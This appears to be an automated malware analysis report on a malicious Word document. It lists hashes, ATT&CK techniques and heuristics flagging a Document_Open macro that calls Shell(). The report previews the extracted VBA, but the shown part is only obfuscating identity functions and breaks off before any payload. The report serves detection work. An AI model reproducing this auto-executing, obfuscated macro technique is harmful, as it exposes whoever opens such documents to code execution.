Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb8e3efb6f34dd96…

MALICIOUS

Office (OLE)

93.0 KB Created: 2017-02-20 23:53:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 7f60c17e4116ffc4df846938a85c8106 SHA-1: 730fd7718bdceec826a291bfc75f907df40ec928 SHA-256: bb8e3efb6f34dd967206f5cfcce8e726efd6a31558c63d3ab2ba384490eff793
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. The 'Document_Open' macro is present and triggers a 'Shell()' call, indicating an attempt to execute an external command. This is a common technique for downloading and executing further malicious payloads. No specific family could be identified from the available evidence.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12679 bytes
SHA-256: d84f6c175b2ed845e2adf3a32650e5df64d6bf6b0f70846ef80dcc5cb4c779f9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function xikybi(gbixmuwy)
xikybi = gbixmuwy
End Function
Function sebak(kikxosu)
sebak = kikxosu
End Function
Function iqem(goho)
iqem = goho
End Function
Function yvijh(yxoc)
yvijh = yxoc
End Function
Function hvese(ixraxzi)
hvese = ixraxzi
End Function
Function omnufa(uniwe)
omnufa = uniwe
End Function
Function ijimko(rifwibn)
ijimko = rifwibn
End Function
Function etuqx(ikvefwe)
etuqx = ikvefwe
End Function
Function ysedur(ygovoxx)
ysedur = ygovoxx
End Function
Function ufyl(izocitj)
ufyl = izocitj
End Function
Function ghuve(holmukbe)
ghuve = holmukbe
End Function
Function xbevroh(vovecta)
xbevroh = vovecta
End Function
Function yqyfwo(qsifu)
yqyfwo = qsifu
End Function
Function tmatrovcy(ibrotnih)
tmatrovcy = ibrotnih
End Function
Function qimenvu(epazp)
qimenvu = epazp
End Function
Function bipuv(jitrome)
bipuv = jitrome
End Function
Function pnomell(luglusfe)
pnomell = luglusfe
End Function
Function wjyhitd(equng)
wjyhitd = equng
End Function
Function arvaze(tafifdo)
arvaze = tafifdo
End Function
Function yzsoxzu(tusdufqo)
yzsoxzu = tusdufqo
End Function
Function szali(iqyqt)
szali = iqyqt
End Function
Function ecdizyp(pesofx)
ecdizyp = pesofx
End Function
Function nqykyqo(qsyjnids)
nqykyqo = qsyjnids
End Function
Function xavu(enuxj)
xavu = enuxj
End Function
Function abuba(yfynxats)
abuba = yfynxats
End Function
Function aqupazf(ybam)
aqupazf = ybam
End Function
Function zmemxuwu(xabpy)
zmemxuwu = xabpy
End Function
Function dcano(enib)
dcano = enib
End Function
Function fuda(arajcu)
fuda = arajcu
End Function
Function ypgylna(mudhur)
ypgylna = mudhur
End Function
Function alqyjehf(ewsahm)
alqyjehf = ewsahm
End Function
Function akubocf(qage)
akubocf = qage
End Function
Function uhqidu(uffufjen)
uhqidu = uffufjen
End Function
Function bzyhizd(gucuzza)
bzyhizd = gucuzza
End Function
Function zundof(imzuvka)
zundof = imzuvka
End Function
Function ewev(quhe)
ewev = quhe
End Function
Function kite(lolqotmy)
kite = lolqotmy
End Function
Function ervecpyxk(afvylla)
ervecpyxk = afvylla
End Function
Function uppush(hqaqabl)
uppush = hqaqabl
End Function
Function qradegy(roxenni)
qradegy = roxenni
End Function
Function tifetti(dxuwone)
tifetti = dxuwone
End Function
Function ibyssu(ykrifi)
ibyssu = ykrifi
End Function
Function xoveklo(wvupqamta)
xoveklo = wvupqamta
End Function
Function epeb(bviga)
epeb = bviga
End Function
Function yxunl(ykbuhkyk)
yxunl = ykbuhkyk
End Function
Function bvebi(iddopky)
bvebi = iddopky
End Function
Function lusdun(iwsecwar)
lusdun = iwsecwar
End Function
Function tarpi(eskowhyc)
tarpi = eskowhyc
End Function
Function edfovvap(vave)
edfovvap = vave
End Function
Function mkogvyvfo(afyfnyvr)
mkogvyvfo = afyfnyvr
End Function
Function bzamlera(hcughy)
bzamlera = hcughy
End Function
Function tupli(mbemkek)
tupli = mbemkek
End Function
Function puhce(abypj)
puhce = abypj
End Function
Function eqjavku(synxyfzu)
eqjavku = synxyfzu
End Function
Function yzijn(afunlym)
yzijn = afunlym
End Function
Function afajbodl(ykinis)
afajbodl = ykinis
End Function
Function ehnatf(wemy)
ehnatf = wemy
End Function
Function ltadjiqc(keldohnu)
ltadjiqc = keldohnu
End Function
Function qupi(omxynymh)
qupi = omxynymh
End Function
Function ruhce(avyl)
ruhce = avyl
End Function
Function uvhukj(unofemk)
uvhukj = unofemk
End Function
Function kqicy(odywe)
kqicy = odywe
End Function
Function kqathesq(ewozijd)
kqathesq = ewozijd
End Function
Function ajhatno(eqyhxaf)
ajhatno = eqyhxaf
End Function
Function opqebsucz(uqoxsenp)
opqebsucz = uqoxsenp
End Function
Function borojwi(xuruxk)
borojwi = xuruxk
End Function
Function hyvil(atqimu)
hyvil = atq
... (truncated)

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